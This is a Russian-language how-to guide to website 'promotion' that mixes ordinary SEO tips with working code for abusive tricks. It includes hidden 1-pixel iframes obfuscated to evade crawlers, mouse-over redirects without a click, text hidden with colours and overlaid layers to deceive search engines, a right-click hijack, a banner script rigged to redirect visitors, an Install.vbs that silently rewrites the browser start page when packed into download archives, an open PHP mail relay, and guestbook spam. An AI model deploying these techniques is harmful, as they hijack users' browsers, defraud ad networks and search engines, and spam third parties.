Приемы "раскрутки" WEB-сайтов
Обзор приемов раскрутки web-сайтов. Редакция-6 Документ содержит описания различных приемов и реставрированные листинги программ, используемых для увеличения посещаемости web-сайтов и могущих представлять интерес для web-дизайнеров, администраторов web-сайтов, web-каталогов и поисковых систем.
Это Важно: vote.htm - прочитайте
Для заинтересованных лиц открыта гостевая книга на сайте http://web-raskrutka.narod.ru Если Вы хотите предложить свои решения, листинги, программы – пишите в гостевую книгу. Если Вы выложили на своем сайте данное руководство для скачивания, запишите адрес сайта в гостевую книгу. После проверки Ваш линк будет включен в список ссылок руководства. Если Вы хотите получать свежую информацию по данному документу, воспользуйтесь подпиской на рассылку – будете получать информацию первыми.
Приемы "раскрутки" WEB-сайтов.
Оглавление:
- Как "прописывать" сайт на поисковых системах (searchengines).
- Как создать большое количество ссылок на собственный сайт.
- Как правильно размещать имиджи на web-странице.
- Как “перекачать” немножко трафика.
- "Безусловный" переход по линкам. JAVA script для перехода по ссылке без click-а.
- Как на странице разместить много текста для индексирования не испортив дизайна.
- Как использовать список ключевых слов, не совпадающий с тематикой HTML-страницы.
- Как использовать почтовые системы.
- Как использовать чаты, конференции и форумы.
- Как использовать архивы программного обеспечения - DOWNLOAD архивы.
- Правая кнопка мыши на службе у раскрутки. JAVA script для использования нажатия правой
кнопки мыши.
- Как убрать некоторые банеры на бесплатном хостинге. JAVA script для «коррекции» банерной
политики.
- Банеры банерной системы работают на вас
- Если Вы не программист, то как использовать архивы программ
- Как быстро создать много HTML-страниц
- Как использовать VBS - Visual Basic Script
- Если Ваш хостинг (платный или бесплатный) поддерживает PHP
- Как использовать чужие счетчики
- Как размещать свои страницы на своих сайтах
- Серфинг-системы. Только не делайте на них ставку
- Хостинг одной страницы или каталог анонсов web-сайтов
- Как снять сливки с каждого линка своей страницы с использованием PHP
- Классический скрипт для “накрутки” посещений на Perl
- Маленькая личная почтовая рассылка на PHP
- Отправка почты по списку. Листинги почтовой программы на Visual BASIC 6.0
- Работа со спонсором. Работа НА спонсора.
- Как вписать нужный URL в Favorites IE. Листинги на Visual BASIC 6.0
- Психологические особенности раскрутки
- Как и Что просить. Это бывает очень выгодно.
- Что такое «Офламерон»
- Все-таки о странице 404.html
- Оптимизируем графику. Большое количество графики может быть сильной стороной
Вашего сайта.
- Делите таблицы на несколько таблиц. Дизайн тот же, но грузится намного быстрее.
- Указывайте размеры графических файлов
- Хорошо ли выглядит наш сайт
Дополнительно в части-II документа:
- Как сделать мигающий текст на странице. JAVA script для мигающего текста – все заметят.
- Как использовать форумы для создания контента. Вариант 2.
- XML – нужная вещь, даже если Вы с ним не знакомы.
- Еще JAVA-скрипт
- Удивительная технология массовой рассылки – «новости с полей».
- Advert Ware – мощнейшее средство. Листинги на Visual Basic 6.0
Дополнительно в части-III документа:
- Как правильно создать несколько клонов одной web-страницы
- Как анонсировать «клонированные» web-страницы в searchengines
- Как создать «неклонированные» страницы с одинаковым содержанием
- Где взять реальные ключевые слова
- Что такое ПРЕДИНСТАЛЛЯТОР? Мощнейшее рекламное средство.
- Как работать «на выходе». Посетитель ушел с web-страницы, а о Вас не забыл.
Дополнительно в части-IV документа:
- Учим иностранный язык? Конечно! Скрипт на PHP
- Немного информации из теории накрутки
- FFA – free for all сайты
- Немного статистики
- скрипт для изучения английского языка как часть web-страницы
Часть-V докумена:
- по объективным причинам версия V руководства не будет распространяться и убрана с сайтов. Опубликованные в ней листинги использовать запрещено. Эти листинги не будут входить в состав последующих версий. Если Вы обнаружите в сети выложенные архивы версии V просьба сообщить!
Дополнительно в части-VI документа:
- ключевые слова. Сервисы поисковых систем.
- запросы в поисковые системы
- сервис сменных страниц. Java скрипт
- еще о веб рассылках
- почему не обмен линками
Приложение 1. Партнерская программа
- Часть 1 -
Курочка по зернышку клюет, а сыта бывает!
Любая посещаемость начинается с единицы.
1. Как "прописывать" сайт на поисковых системах (searchengines).
(Дополнение к обычному, ручному, прописыванию сайта). Этот прием работает в основном на зарубежных системах.
Прием 1:
Просмотреть тексты с досок объявлений (Message Boards), которые индексированы в данной поисковой системе. Поисковики индексируют некоторые доски объявлений (message board). Зайдите на эти доски объявлений и впишите свои объявления, не забывая, что:
- объявления в разных разделах должны быть разными, чтобы их не удалили;
- используйте в тексте объявлений необходимые ключевые слова и ссылки;
Недостатки: ограниченное время хранения объявления.
Прием 2:
Просмотреть гостевые книги (Guest Book), индексированные на поисковых системах. Подготовить и оставить большое количество записей в этих гостевых книгах. Не забывайте включать в текст объявлений приветствия, ключевые слова Вашего сайта, вопросы по тематике гостевой книги. В отличие от досок объявлений гостевые книги обычно не ограничивают время размещения объявления.
Если Вы плохо знаете иностранные языки, то просто воспользуйтесь образцами объявлений из других гостевых книг.
Не прописывайте информацию, пока у Вас не будет достаточно выложенной информации,
которую можно индексировать.
2. Как создать большое количество ссылок на собственный сайт.
Прием 1:
Зарегистрируйте 3-4 сайта на бесплатном хостинге. В названиях используйте комбинации с именем вашего основного сайта. Разместите на каждом сайте индексную страницу (index.htm) вашего основного сайта с следующими изменениями:
- В поле TITLE меняйте порядок слов или словосочетаний;
- Напишите ТЭГ DESCRIPTION другими словами;
- Измените несколько слов в ТЭГ-е KEYWORDS;
- Измените заголовки на синонимы. Например: Описание - на Руководство;
- Составьте 2-3 параграфа текста другими фразами (если нет текста - добавьте);
- Переименуйте файлы, размещенные на сайтах
-
Это позволит поисковым машинам расценить ваши (по сути) зеркальные документы, как непохожие и индексировать их отдельно.
В каждом из документов сделайте ссылки на документы основного сайта.
Регистрируйте 3-4 сайта ежемесячно. Компонуйте новые страницы из уже имеющихся. Меняйте заголовки страниц и цвет фона при сохранении общего смысла информации и дизайна вцелом. Если у Вас уже много похожих страниц, добавьте в них графику. Одна-две картинки небольшого размера сделают ваши б/у страницы свежими для модераторов.
Добавляйте на страницы перекрестные ссылки на зарегистрированные страницы прежних месяцев.
3. Как правильно размещать имиджи на web-странице
При добавлении графики на страницы обязательно записывайте поле ALT="" и TITLE=””. Размещайте в описании не менее 10-12 слов. Хотя некоторые специалисты сомневаются в том, что эти поля индексируются, опеделенный эффект будет. В противном случае сайты – фотоальбомы просто не индексировались бы вообще.
Пример:
<img alt="Игры скачать. Скачать игры бесплатно" title=”Карточные игры” src=" http://themonopoly.narod.ru/guide/image.jpg">
Для всех ссылок указывайте поле Title=""
Пример:
<a href= http://themonopoly.narod.ru
title=" Карточные игры. Векторные имиджи игральных карт">Скачай игры бесплатно</a>
Все картинки, которые вы помещаете на страницу необходимо разделить на несколько частей. “Построчно", по "колонкам" или "на квадратики". Дизайн вашей страницы незначительно усложнится. Но зато информации для индексирования станет значительно больше (в т.ч. и потому, что она станет разнообразнее).
У Вас получится целая куча фрагментов картинки, которые нужно собрать воедино. Создадим таблицу. Количество строк и столбцов в таблице должно точно соответствовать количеству графических сегментов в сетке. Предположим, что мы разрезали изображение таким образом, что получилось 3 строки и 4 столбца. В этом случае каркас будет выглядеть так:
Пример:
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</table>
Теперь осталось поместить каждый фрагмент изображения в нужную ячейку. При этом нужно следовать одному правилу. Правило заключается в том, что все теги внутри ячейки должны располагаться в одну цепочку, не допуская между собой пробелов и символов перевода каретки.
Реальный образец можно посмотреть здесь: http://freeproject.narod.ru/
up-1.jpg
up-2.jpg
up-3.jpg
up-4.jpg
Вот как выглядит HTML код
<table bgcolor=black whidth=550 cellpadding=0 cellspacing=0>
<tr>
<td><img src="up-1.jpg" alt="Курсовая работа"></td>
</tr>
<tr>
<td><img src="up-2.jpg" alt="Free User Guide"></td>
</tr>
<tr>
<td><img src="up-3.jpg" alt="FULL Developers guide in e-book format"></td>
</tr>
<tr>
<td><img src="up-4.jpg" alt="Как программировать игры"></td>
</tr>
</table>
4. Как “перекачать” немножко трафика
Разместите на своих страницах с наибольшей посещаемостью однострочный JAVA-script.
<script language=javascript src=http://www.instructions.ru/data/count.js></script>
Где содержимое файла count.js
// <!--
document.write("<p><table bgcolor=#c4cabb border=0 cellpadding=0 cellspacing=0 width=0>");
document.write("<tr>");
document.write("<td><font size=2 face="Arial,Helvetica"><iframe src=http://www.instructions.ru width=0 height=0 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no></font></iframe></td><td></td>");
document.write("</tr>");
document.write("</table></p>");
// -->
Обратите внимание, что все строки document.write( должны быть записаны в одну строку без переносов.
Этот однострочный JAVA-скрипт позволяет при каждой загрузке страницы, на которой он установлен, незаметно подгружать другой web-сайт в область размером в 1 пиксель.
Таким образом можно "перекачивать" трафик с более посещаемых страниц на менее посещаемые. Разумеется, на страницах должны быть установлены разные счетчики.
В приведенном примере слишком явно указан оператор iframe, через который и осуществляется подгрузка страницы. Чтобы замаскировать использование оператора iframe, используйте что-то вроде:
document.write("<td><font size=2 face="Arial,Helvetica"><i"+"fr"+"am"+"e src=http://www.instructions.ru width=0 height=0 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no></font></iframe></td><td></td>");
Это позволит ввести в заблуждение поисковые машинки, если они реагируют на iframe.
5. "Безусловный" переход.
Используя JAVA-скрипт можно сделать такой линк, для перехода по которому, не надо кликать мышкой.
Пример:
<tr bgcolor="#ffbb00">
<td><p><a href="http://www.oflameron.ru/ee/" onMouseOut="window.location=' http://www.oflameron.ru/ee/'"><font size=6 color="#0069a3"><b>Скачай Игры Бесплатно</b></font></a></td>
</tr>
Это очень удобная вещь, которая позволяет ненавязчиво анонсировать со своих страниц необходимые Вам новые сайты или страницы. Не используйте на своих страницах такие линки слишком часто - это может отпугнуть посетителей.
Обратите внимание, в чем разница в работе приведенного скрипта и следующего:
<tr bgcolor="#ffbb00">
<td><p><b href="http://www.aport.ru" onMouseOut="window.location='http://www.oflameron.ru/ee/"><font size=6 color="#0069a3"><b>Карточные Игры</b></font></b></td>
</tr>
Когда посетитель страницы «наводит» курсор, в строке подсказки появится разный адрес.
Далее, в руководстве будет показано, как разместить на web-странице банеры широко известных банерных систем, при «кликании» на которых посетитель попадет туда, куда нужно Вам.
6. Как на странице разместить много текста для индексирования не испортив дизайна.
Разместив на странице много текста, например, списки ключевых слов, вам будет затруднительно создать красивый сайт. Большой текст можно замаскировать, если работать со слоями DIV.
Внимание! Не пишите простые списки ключевых слов. Если модератор найдет их, ваш сайт может надолго выпасть из каталога или поисковой системы. Все хорошо в меру.
Составьте список ключевых слов по теме вашего сайта. Зайдите на рейтинг Rambler. Посмотрите ключевые слова первых 3-5 сайтов в рейтинге. Составьте связанный, осмысленный текст с использованием выписанных ключевых слов. Разместите текст в компактной таблице. Используйте размер шрифта не меньше font size=2 (размер шрифта и цвет текста легко подменить, как это сделать будет показано далее). Цвет текста не должен совпадать с цветом фона!
Используйте операторы DIV следующим образом.
Пример:
<html><head><title> Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<!---- Таблица, содержимое которой будет закрыто другой таблицей, наложенной сверху ---->
<table bgcolor=white cellSpacing=0 cellPadding=0 width=150 border=0>
<tr>
<td>Некая талица текста, содержимое которой не очень совпадает с тематикой сайта.</td>
</tr>
<tr>
<td>Например, просто ключевые слова. Для контраста, таблица имеет белый фон.</td>
</tr>
</table>
<!---- ---->
<DIV id="waterMark" style="position:absolute;top:0;left:0">
<p align=center><table bgcolor=yellow border=0 cellpadding=0 cellspacing=0 width=150>
<tr>
<td>Эта таблица отображается поверх предыдущей таблицы, маскируя ее.</td>
</tr>
<tr>
<td>Для контраста, имеет желтый цвет. Реально можно накладывать несколько таблиц друг на друга.</td>
</tr>
</table>
</DIV>
</body></html>
Очень эффективное средство. Пример приведен в самом простом варианте. В полном руководстве на CD можно найти гораздо более продвинутые варианты, имеющие, в частности, следующие функции:
- маскировку ключевых операторов от поисковых роботов и модераторов;
- рекомендации по индивидуальным настройкам приведенной технологии;
- значительное количество готовых исходников, из которых можно выбрать.
7. Как использовать список ключевых слов, не совпадающий с тематикой HTML-страницы.
Вариант 1.
Используйте список ключевых слов (50-100 слов) с цветом букв, совпадающим с цветом фона. Однако, хорошие поисковые роботы проверяют такие штуки и не индексируют. Направить их в нужном направлении можно, если использовать следующий скрипт (приведен в тексте HTML-файла):
Пример:
<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<!----------------- Обратите внимание, цвет фона - красный -------------------->
<font size=4 color=yellow><!-- Якобы здесь выбирается цвет букв YELLOW
-->
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!-- А на самом деле здесь задается цвет букв RED
document.write("</fo"+"nt><fo"+"nt size=1 co"+"lor=re"+"d>");
// -->
</SCRIPT>
Здесь пишете список ключевых слов, какой хотите.
</body></html>
Если у вас на странице много таблиц, то этот прием можно использовать "по чуть-чуть" в нескольких таблицах.
Вариант 2.
Если у Вас HTML-страница, например, о спорте, а вы хотите, чтобы она также часто встречалась при поиске на поисковых машинах (search engines) в разделе, например, MP3 - используйте следующий пример.
Пример:
<html><head><title>Коллекция сайтов MP3 музыки</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red
text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<!----------------- Обратите внимание, цвет фона - красный -------------------->
<table cellSpacing=0 cellPadding=0 width=650 border=0>
<tr>
<td><a href="http://bestnat.vipcentr.ru/bestmp3.htm"><font color=white size=2>Музыка MP3</font></a> <a href="http://gamebuilder.narod.ru/"><font color=white size=2>Генератор ИГР</font></a></td>
</tr>
<tr>
<td><font color=yellow size=2></font></td>
</tr>
<tr>
<td><font color=yellow size=2> </font></td>
</tr>
<tr>
<td><font color=yellow size=6>СПОРТИВНЫЙ Каталог</font></td>
</tr>
</table>
.
.
.
</body></html>
Т.е. используйте псевдо- рекламную вставку вверху своей страницы. Либо 1-2 строк текста и линков (пусть даже на чужие, но классные сайты), либо имитируйте текстовый рекламный баннер. Все равно индексируется текст с пользой для вашей страницы.
Такой прием хорошо использовать для страниц, которые уже просмотрены модераторами и внесены в каталоги и поисковые системы. Как правило, роботы периодически просматривают страницы заново и переиндексируют их. (В полной версии руководства по раскрутке можно найти пример скрипта на PHP, фиксирующий такие посещения. Полное руководство можно купить через Internet – 75WM.rub).Вот тут-то этот прием и пригодится. И формально придраться не к чему - просто рекламный обмен.
8. Как использовать почтовые системы.
Этот прием раскрутки весьма условно можно назвать корректным. Использование его или не использование - целиком Ваш выбор. И здесь приводится описание исключительно из-за того, что этот прием уже используется.
Выбирается почтовая система (или системы), позволяющие использовать режим автоответа на письмо. Предпочтительно, чтобы ответ можно было написать достаточно длинным и можно было отправлять его в режиме HTML. Например mail.lycos.ru для этого мало пригоден.
Формируется письмо для ответа (как HTML-страница). Пишется там что-то очень привлекательное - например выбирается из TOP-ов 10 лучших линков по MP3 музыке или по натуризму.
Вставляется в этот список линк с БЕЗУСЛОВНЫМ ПЕРЕХОДОМ на раскручиваемый сайт (как его сделать - см. выше это же руководство).
В заголовке письма-ответа пишется что-то супер-привлекательное. Например. "Фотомодель ищет бой-френда". После проверки работоспособности автоответчика по конференциям, доскам объявлений и гостевым книгам размещается информация . Что-то тематическое, очень привлекательное и оставляется везде адрес почтового ящика с автоответчиком.
9. Как использовать чаты, конференции и форумы.
Это косвенный прием раскрутки. Если вы часто и подолгу сидите в чатах - зарегистрируйтесь там под именем Вашего сайта. Например, ваш сайт www.napello.ru
Тогда регистрируйтесь в чатах как Napello.ru или , если так не удается, то Napello. Так же и в конференциях и форумах. Не везде это разрешено, но всегда есть места, где на это не обращают внимание.
Найдите 2-3 посещаемых конференции (форума) по интересующей вас тематике. Зарегистрируйтесь в них. Задавайте вопросы из одной конференции в другую конференцию. Это может быть единственно возможным для вас решением, если вы раскручиваете сайт с англоязычным контентом, но язык знаете плохо. Не забывайте упоминать свои страницы. Но не слишком усердствуйте, модераторы могут быть недовольны.
10. Как использовать архивы программного обеспечения - DOWNLOAD архивы.
Вариант 1.
Если вы когда-нибудь писали программы - используйте их. Если у Вас есть откомпилированный вариант программы, сделайте к нему описание в формате HTML, поместите в описание элементы с iframe, в которые будет подгружаться часть описания с вашего web-сайта (не забудьте добавить и ссылки «безусловного» перехода). Упакуйте в ZIP-архив и разместите архив на своем сайте. Зарегистрируйте свои программы на соответствующих сайтах (например www.download.ru
, www.freesoft.ru и т.д.)
Пример iframe:
// <!--
document.write("<p><table bgcolor=#c4cabb border=0 cellpadding=0 cellspacing=0 width=600>");
document.write("<tr>");
document.write("<td><font size=2 face="Arial,Helvetica"><iframe src=http://www.oflameron.ru/game.htm
width=600 height=100 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no></font></iframe></td><td></td>");
document.write("</tr>");
document.write("</table></p>");
// -->
Просто вставьте в HTML-страницу и посмотрите, что получится – в небольшом окошке 600x100 на основной web-странице будет загружена страница http://www.oflameron.ru/game.htm с описанием игр
Вариант 2.
Может быть использован в дополнение к первому варианту.
Вместо откомпилированного варианта программ включите в архив исходные тексты своих программ. Не забудьте в исходниках прописать некоторое количество рекламы. Скорее всего, архивы с исходниками Ваших программ окажутся более популярными, чем Ваши откомпилированные программы. Листинги программ могут использовать даже те, кто не умеет программировать. Зайдите на любой из западных поисковиков, например Google.com и задайте в поиск «visual basic source code». Пройдите по найденным сайтам. Подберите листинги, лучше, если это будут листинги программ для работы с Internet. Переведите описание к листингам на русский язык. Разместите листинги с переводами на своих страницах или/и в русскоязычных архивах. Обязательно (!) укажите копирайт автора и ссылку на архив, из которого листинг был вами взят.
Так же сделайте HTML-описание, включите в него большое количество скриншотов, специальной информации, подробно опишите процесс настройки, установки или использования. Назовите эти HTML-страницы «бесплатными шаблонами веб сайтов» и выложите для скачивания. Всегда найдутся заинтересованные лица, которые не только скачают Ваши листинги или HTML-страницы, но и разместят их в Интернете.
Вариант 3.
Дополнительно для вариантов 1 и 2.
Создайте web-страницы с исходниками своих программ. Добавьте на эти страницы все те приемы, которые вы уже освоили. Поставьте ссылки на свои ресурсы. Разместите несколько вариантов на нескольких сайтах. Это часто бывает очень сильным приемом – в российском Интернете до сих пор явственно ощущается недостаток качественных листингов программ. Нет своих исходников? Вы не программист? Тогда сделайте web-страницы с исходниками программ посторонних авторов. НО! Не забудьте указать авторские права и ссылки на первоисточники авторских листингов – будьте внимательны и порядочны.
Вариант 4.
Упакуйте HTML-страницы c листингами Ваших программ в ZIP-архив. Включите в него HTML-описание с iframe и счетчиком. Разместите в архивах программного обеспечения в том числе и в разделе web-дизайн.
В свое время архив HTML-страниц каталога линков ( 2000 линков) был скачан более 9000 раз! Это при том, что в архиве не было ни одного скрипта, только HTML-страницы с линками. Часть из этих скачанных экземпляров (больше 100) была размещена их новыми владельцами в Интернете БЕЗ ИЗМЕНЕНИЙ не только дизайна, но и банеров и счетчиков.
И эти клоны еще долго раскручивали мой счетчик.
Строить коллекции страниц с линками очень просто – достаточно сделать два макета страниц – начальную и страницу собственно Линков. Затем, используя программу HREF Finder, достаточно извлечь все линки с любого TOP-а и вставить в макет страницы. Весьма емкий каталог ссылок можно подготовить за 2-3 дня.
Исходник программы HREF Finder на Visual BASIC 6.0 входит в полный архив с данным документом.
11. Правая кнопка мыши на службе у раскрутки
Если на ваших страницах имеется заметное количество линков на другие страницы (как, например, здесь http://bestnat.vipcentr.ru/bestmp3.htm
), то часть пользователей загружает их "по правой кнопке мыши" - т.е. открывает в новом окне. (Поэтому НЕ ставьте в параметрах страницы указание «открывать линки в новом окне». Т.е.
<a href="http://top100.rambler.ru/top100/Design/index.shtml.ru" target=_top>
лучше использовать в варианте
<a href=http://top100.rambler.ru/top100/Design/index.shtml.ru>
Эту ситуацию можно перехватить и обработать используя следующий скрипт.
Пример:
<script LANGUAGE="JavaScript">
function right(e) {
if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false;
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) { alert("Right button disabled");
return false;
} return true;
} document.onmousedown=right;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=right;
</script>
Этот скрипт запрещает использование правой клавиши мыши в окне броузера. Посетителям страницы придется каждый раз ее перегружать, тем самым поднимая ваш счетчик и показывая дополнительные банеры.
Более продвинутый пример на базе первого примера. Здесь по Click на левой кнопке грузится один сайт (www.lycos.com) , а Click правой кнопкой мыши на том же линке - другой сайт. Очень удобная и мощная штука.
Пример:
<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<script LANGUAGE="JavaScript">
function right(e) {
if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false;
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) {
window.open('http://www.oflameron.ru/ee/','javascript_1'); return false;
return false;
} return true;
} document.onmousedown=right;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=right;
</script>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<a href=" http://student-money.narod.ru/"><font color=white>Студенты зарабатывают</font></a>
</body></html>
12. Как убрать некоторые банеры на бесплатном хостинге
При загрузке ваших HTML-страниц на сайты, созданные на бесплатном хостинге, некоторые системы автоматически добавляют в код страницы рекламные скрипты (www.boom.ru или www.narod.ru).
Некоторые из таких систем можно обойти, если использовать вместо записи:
<body bgcolor ……………………………….>
следующий скрипт:
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!-- Скрипт восстанавливает присутствие тэга BODY только для броузеров
document.write("<body bgcolor=red text=000000 link=yellow>");
// -->
</SCRIPT>
Скрипт можно чуть-чуть изменить, чтобы он не был слишком заметен
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!-- Скрипт восстанавливает присутствие тэга BODY только для броузеров
document.write("<b"+"o"+"dy bg"+"color=red text=000000 link=yellow>");
// -->
</SCRIPT>
Аналогично из HTML-страницы можно убрать и закрывающий тэг </body>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("</bo"+"dy>");
// -->
</SCRIPT>
Размещайте скрипт в соответствующем месте документа.
Иногда может потребоваться замаскировать и другие тэги. Иногда тэг </html>. Вы легко можете модернизировать скрипты самостоятельно.
13. Банеры банерной системы работают на вас.
Если вы размещаете на своих HTML-страницах банеры, то поместите их код в JAVA-скрипт. Это позволит легко организовывать вызов и загрузку банеров с новых размещенных страниц и легко править код банерной системы сразу для ВСЕХ СТРАНИЦ.
Пример для LBE.RU:
<p><script language=javascript src=bandn.js></script>
Вызов скрипта с кодом банерной системы из файла bandn.js
Где содержимое файла bandn.js
// <!--
var litenum = Math.round(Math.random() * 10000);
document.write("<a href=http://lite.lbe.ru/cgi-bin/href/atx?" + litenum + " target=_blank>");
document.write("<img ismap width=468 height=60 src=http://lite.lbe.ru/cgi-bin/banner/atx?" + litenum + " alt=\"LBE lite\" border=0></a>");
// -->
Пример файла дан для банерной системы LBE. Для других банерных систем он будет другой.
Как в дальнейшем использовать этот сервис?
Когда скрипт поработает некоторое время, его можно заменить на следующий вариант:
Пример содержимого файла bandn.js
// <!--
var litenum = Math.round(Math.random() * 10000);
document.write("<a href=\"http://www.sportbiker.ru\" onMouseOut=\"window.location='http://www.oflameron.ru/ee/'\"><font size=6 color=red><b>LBE.ru</b></font><table>");
document.write("<a href=http://lite.lbe.ru/cgi-bin/href/atx?" + litenum + " target=_blank>");
document.write("<img ismap width=468 height=60 src=http://lite.lbe.ru/cgi-bin/banner/atx?" + litenum + " alt=\"LBE lite\" border=0></a>");
document.write("</table></a>");
// -->
Чтобы посмотреть, что за эффект это дает создайте HTML-файл с следующим содержимым (в том же каталоге):
<html><head><title>Скачай Игры Бесплатно</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<p><script language=javascript src=bandn.js></script>
</body></html>
На этой HTML-странице нормально отображается банер, но при проходе мышки (без Click-а) через банер загружается совсем другой сайт - http://www.oflameron.ru/ee/
Вы можете сделать переход и по банеру (без Click-а). Но учтите, что это может привести к очень большому CRT и в банерной системе на это сразу обратят внимание.
14. Если Вы не программист, то как использовать архивы программ
Если Вы не умеете писать программ, то как Вам разместить свою информацию в архивах программного обеспечения? Один из следующих вариантов может быть использован Вами с различной степенью корректности. Будьте внимательны, не нарушайте чужих авторских прав.
Посмотрите на серверах-архивах исходников программ, какие из листингов скачиваются больше всего. Напишите их авторам, что хотели бы разместить их исходники на своем web-сервере. Скорее всего Вам разрешат это сделать, т.к. это увеличивает популярность авторов.
А дальше - все просто. Если автор не возражает, сделайте дополнительное описание к программе. Например, с большим количеством иллюстраций, с анимированной графикой (анимационные GIF). И включите эти материалы в архив с листингом. В своих документах вы можете использовать многие из описанных выше приемов.
Если автор не хочет, что бы Вы что-то добавляли в его архив, разместите свои материалы по его программе в отдельном архиве. Рядом. В соседнем линке на той же странице. Или “зазипуйте” Ваши материалы в отдельный архив, а потом заархивируйте оба архива вместе. Будьте уверены - Ваши материалы тоже будут скачивать.
Оформите описание листинга, программы (а если автор не возражает, то и самого листинга) в виде HTML-файла с применением известных Вам приемов. Разместите на нескольких своих сайтах.
То же самое можно проделать и с откомпилированными программами.
Это еще не все. Если программа очень популярная и сложная, сделайте для нее HELP в стандартном формате Windows. Скорее всего его скачает очень много пользователей.
15. Как быстро создать много HTML-страниц
Зайдите на TOP100.Rambler и посмотрите, какие разделы наиболее популярны.
В рейтинге Rambler информация периодически меняется, но для Ваших дополнительных HTML-страниц это не очень важно.
Как быстро извлечь линки с WEB-страницы и сформировать из них готовую HTML-страницу?
Используйте freeware программы:
http://www.oflameron.ru/finder/
и дополнительно, программу формирования страниц
http:// www.oflameron.ru/fecompleter/
или
http://www.oflameron.ru/completer/
Сформировать собственную HTML-страницу можно очень быстро. Причем, в этой странице не будет никакой информации, кроме линков, заимствованных с web-страниц. Для создания обрамления страницы (заготовки) используйте любой из доступных HTML редакторов. Например, HomeSite.
Традиционно, наиболее посещаемыми ресурсами являются Авто-страницы, Эротика, Натуризм, MP3.
16. Как использовать VBS - Visual Basic Script
Если Вы используете архивы программ, как средство дополнительной раскрутки, то их эффективность можно еще увеличить, используя несложный VB-Script
Включите в распространяемый архив следующий файл, например, с названием Install.vbs
и следующим содержанием:
On Error Resume Next
main()
sub main()
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", " http://gamebuilder.narod.ru/"
MsgBox "Install OK!"
end sub
(Строка оранжевого цвета должна быть записана без переносов.)
См. файл Install.vbs на диске.
Этот простой скрипт записывает в качестве стартовой страницы IE web-броузера, адрес Вашего сайта.
17. Если Ваш хостинг (платный или бесплатный) поддерживает PHP.
Тогда Ваши возможности по раскрутке сайта неизмеримо возрастают. Для начала, можно организовать очень простую и открытую почтовую систему. Вы создаете HTML-страницу с полями для письма и размещаете на своем сайте PHP-скрипт для отправки писем. В такой почтовой системе пользователи смогут только отправлять письма. Но и это востребовано. Простейшая система привлекла около 2000 новых пользователей за 3 месяца.
<html><head>
<title>Free Mail System</title>
<body bgcolor=5a5959 text=000000 link=white vlink=orange leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<table width=640 cellpadding=0 cellspacing=1>
<tr><td vAlign=top width=120>
</td><td align=center vAlign=top width=540>
<p><font size=5 color=white>Отправить почту</font>
<p><table cellpadding=0 cellspacing=0 width=500>
<tr class=c3>
<font size=2> </font>
</tr>
<tr align=center class=c2>
<p><font align=center color=orange size=4 face="Arial,Helvetica">Почтовая система "PEGAS"<br>
Свободная отправка почтовых сообщений!</font><br>
<FORM METHOD=POST ACTION=poster.php TARGET=_top>
<INPUT TYPE=text NAME="email" SIZE=20 MAXLENGTH=25 VALUE="E-mail"><br>
<INPUT TYPE=text NAME="subject" SIZE=50 MAXLENGTH=150 VALUE="Тема письма"><br>
<TEXTAREA NAME="message" ROWS=3 COLS=50 MAXLENGTH=800 WRAP=VIRTUAL>Введите текст письма</TEXTAREA><br>
<p><INPUT TYPE="submit" VALUE="Отправить">
</tr>
<tr class=c2>
<br><font color=orange size=1><li> Если Вы хотите получить ответ на письмо, не забудьте указать адрес Вашего личного почтового ящика.</font>
</tr>
</table>
</body></html>
PHP Скрипт должен быть записан в файл poster.php
(для данной HTML-страницы)
Пример:
<html><head>
</head>
<body bgcolor=5a5959 text=000000 link=white vlink=orange leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<?
//Отправить почту
$message .= "\n-----------------------------------\nОригинальная карточная игра\n http://www.oflameron.ru/ee/\n-----------------------------------\nРуководство по раскрутке\n http://web-tekila.narod.ru/\n-----------------------------------\n***Скачай
игры\n http://themonopoly.narod.ru\n";
mail($email,$subject,$message,"From: postman@$SERVER_NAME\nX-Mailer: PHP/" . phpversion());
print "<br><p align=center><font color=red face=\"Arial,Helvetica\"><b>Почта отправлена</b></font>";
//Почта отправлена - OK!
?>
</body></html>
(Строка оранжевого цвета должна быть записана без переносов.)
